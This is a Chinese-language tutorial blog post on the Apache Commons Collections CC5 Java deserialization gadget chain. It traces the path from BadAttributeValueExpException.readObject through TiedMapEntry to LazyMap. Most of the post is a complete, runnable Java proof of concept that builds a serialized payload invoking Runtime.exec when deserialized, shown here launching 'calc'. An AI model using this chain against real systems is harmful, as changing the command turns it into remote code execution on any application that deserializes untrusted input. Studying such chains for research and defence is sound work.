赞
踩
后面确实学了这么多了,觉得能比较看得懂了,直接放一张CC5的调用图吧:
直接从入口来讲吧:
BadAttributeValueExpException.readObject调用了toString,只要把valObj控制为TiedMapEntry就可以走到TiedMapEntry.toString了。即实例化BadAttributeValueExpException的时候传入TiedMapEntry了。
之后TiedMapEntry.toString --> TiedMapEntry.getValue --> LazyMap.get。再往后一路都比较熟悉就不说了。直接贴代码了:
- package org.example;
-
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.keyvalue.TiedMapEntry;
- import org.apache.commons.collections.map.LazyMap;
-
- import javax.management.BadAttributeValueExpException;
- import java.io.*;
- import java.lang.reflect.Field;
- import java.util.HashMap;
- import java.util.Map;
-
- public class CC5 {
- public static void main(String[] args) throws Exception{
- Transformer[] transformers = {
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
- new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
- new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
- };
- ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
-
- HashMap<Object, Object> hashMap = new HashMap<>();
- Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
- TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "key");
- BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
-
- Class<BadAttributeValueExpException> badAttributeValueExpExceptionClass = BadAttributeValueExpException.class;
- Field valField = badAttributeValueExpExceptionClass.getDeclaredField("val");
- valField.setAccessible(true);
- valField.set(badAttributeValueExpException, tiedMapEntry);
- serialize(badAttributeValueExpException);
- unserialize("ser.bin");
- }
- public static void serialize(Object obj) throws IOException {
- ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
- objectOutputStream.writeObject(obj);
- }
- public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
- ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
- return objectInputStream.readObject();
- }
- }
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。